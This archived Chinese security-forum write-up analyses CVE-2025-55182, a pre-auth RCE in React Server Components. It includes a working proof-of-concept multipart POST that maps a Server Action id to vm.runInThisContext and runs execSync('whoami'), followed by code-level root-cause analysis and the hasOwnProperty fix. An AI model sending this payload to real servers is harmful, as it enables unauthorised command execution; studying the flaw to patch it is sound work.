React 曝出 CVE-2025-55182 高危漏洞

来源: https://web.archive.org/web/20251205170951/https://forum.butian.net/article/820

React 服务器组件原型链漏洞(CVE-2025-55182)

CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。

漏洞描述

CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。

影响范围

影响组件:react-server-dom-webpack < 19.2.0,react-server-dom-turbopack < 19.2.0,react-server-dom-parcel

影响版本:React 19.0.0、19.1.0、19.1.1、19.2.0

环境搭建

npm install
npm start

然后访问 http://127.0.0.1:3002

漏洞复现

POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--

漏洞成因

React Server Actions 通过 $ACTION_REF_*$ACTION_ID_* 两类字段实现服务端函数调用,但在 19.2.0 及之前版本中,因缺少对模块导出属性的合法性校验,攻击者可借助 $ACTION_REF_* 机制注入任意 id(如 "vm#runInThisContext"),结合 Node.js 内置模块实现远程代码执行;19.2.1 通过 hasOwnProperty 检查和强化 Action 引用机制修复此问题。

**$ACTION_REF_*** :绑定(Bound)Action 实例

  • 用途:用于调用一个已创建并携带闭包参数的 Server Action(例如通过 action.bind(null, arg1, arg2) 生成)。
  • 客户端表单行为
  • 提交时会生成多个 multipart 字段,例如:

图片.png

其中 0 是客户端生成的“action 实例 ID”,:0是 bound 参数

服务端解析逻辑:

const prefix = "$ACTION_" + key.slice(12) + ":";
const boundArgs = collectAllFieldsStartingWith(prefix);
const action = decodeBoundActionMetaData(body, serverManifest, boundArgs);

最终构造出一个对象:

{ id: "someModule#someFunction", bound: [] }

**$ACTION_ID_*** :直接模块/函数调用

  • 用途:调用某个模块中显式导出的 Server Action 函数
  • 典型场景
<form action={updatePassword}>

编译后生成:

$ACTION_ID_UserActions.updatePassword = ""

提取字段名 → 拆分为 moduleName = "UserActions", exportName = "updatePassword"

调用:

loadServerReference(serverManifest, "UserActions", "updatePassword");

最终执行 requireModule("UserActions")["updatePassword"]

漏洞利用

  1. 攻击者构造 multipart 请求:
$ACTION_REF_0 = "1"
$ACTION_0:0 = {"id":"vm#runInThisContext","bound":["...恶意代码..."]}

服务端 decodeAction 解析出:

{ id: "vm#runInThisContext", bound: [payload] }
  • 调用 loadServerReference("vm", "runInThisContext")
  • requireModule("vm")["runInThisContext"] 返回 vm.runInThisContext(因无 hasOwnProperty 检查)
  • 执行 bound 中的代码 → RCE

漏洞分析

看看下载的源码

if (req.method === 'POST' && req.url === '/formaction') {
    const chunks = [];
    req.on('data', chunk => chunks.push(chunk));
    req.on('end', async () => {
      try {
        const buffer = Buffer.concat(chunks);
        const contentType = req.headers['content-type'] || '';
        const boundaryMatch = contentType.match(/boundary=(.+)/);

        if (!boundaryMatch) throw new Error('No boundary');

        const formData = parseMultipart(buffer, boundaryMatch[1]);

        console.log('FormData:');
        formData.forEach((v, k) => console.log(`  ${k}: ${v}`));

        // THE VULNERABLE CALL - decodeAction → loadServerReference → requireModule
        // requireModule does: moduleExports[metadata[2]] without hasOwnProperty check!
        const actionFn = await decodeAction(formData, serverManifest);

        console.log('Action result:', actionFn, typeof actionFn);

        if (typeof actionFn === 'function') {
          const result = actionFn();
          res.writeHead(200, { 'Content-Type': 'application/json' });
          res.end(JSON.stringify({ success: true, result: String(result) }));
        } else {
          res.writeHead(200, { 'Content-Type': 'application/json' });
          res.end(JSON.stringify({ success: true, action: String(actionFn) }));
        }
      } catch (e) {
        console.error('Error:', e.message, e.stack);
        res.writeHead(500, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({ error: e.message }));
      }
    });
    return;
  }

  res.writeHead(404);
  res.end('Not found');
});

这里处理 /formaction路由 的请求 —— 这是一个 自定义 Server Action 端点,模拟了 RSC 行为

const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
  const buffer = Buffer.concat(chunks);

完整读取原始 HTTP 请求体

const contentType = req.headers['content-type'] || '';
const boundaryMatch = contentType.match(/boundary=(.+)/);
if (!boundaryMatch) throw new Error('No boundary');
const formData = parseMultipart(buffer, boundaryMatch[1]);

解析 multipart/form-data,得到一个 Map 类型的 formData

const actionFn = await decodeAction(formData, serverManifest);
  • 遍历 formData,寻找以 $ACTION_REF_$ACTION_ 开头的字段;
  • 对于 $ACTION_REF_0,它会提取所有 $ACTION_0:* 字段;
  • $ACTION_0:0 的值(JSON 字符串)解析为对象
  • 调用 loadServerReference(serverManifest, "vm", "runInThisContext")
  • 最终进入 requireModule(metadata)

调用 requireModule,没有检查"runInThisContext" 是否是 moduleExports 的自有属性,moduleExports["runInThisContext"] 返回真实的 vm.runInThisContext 函数,此时已获得一个可在当前上下文执行任意 JS 的函数


因此 actionFn() 调用时,会执行:

vm.runInThisContext('global.process.mainModule.require("child_process").execSync("dir").toString()')

漏洞修复

代码修复里面添加了hasOwnProperty 检查,只允许访问对象自身的属性

现在扩散到 next.js 也有影响

react和nextjs最近多少次了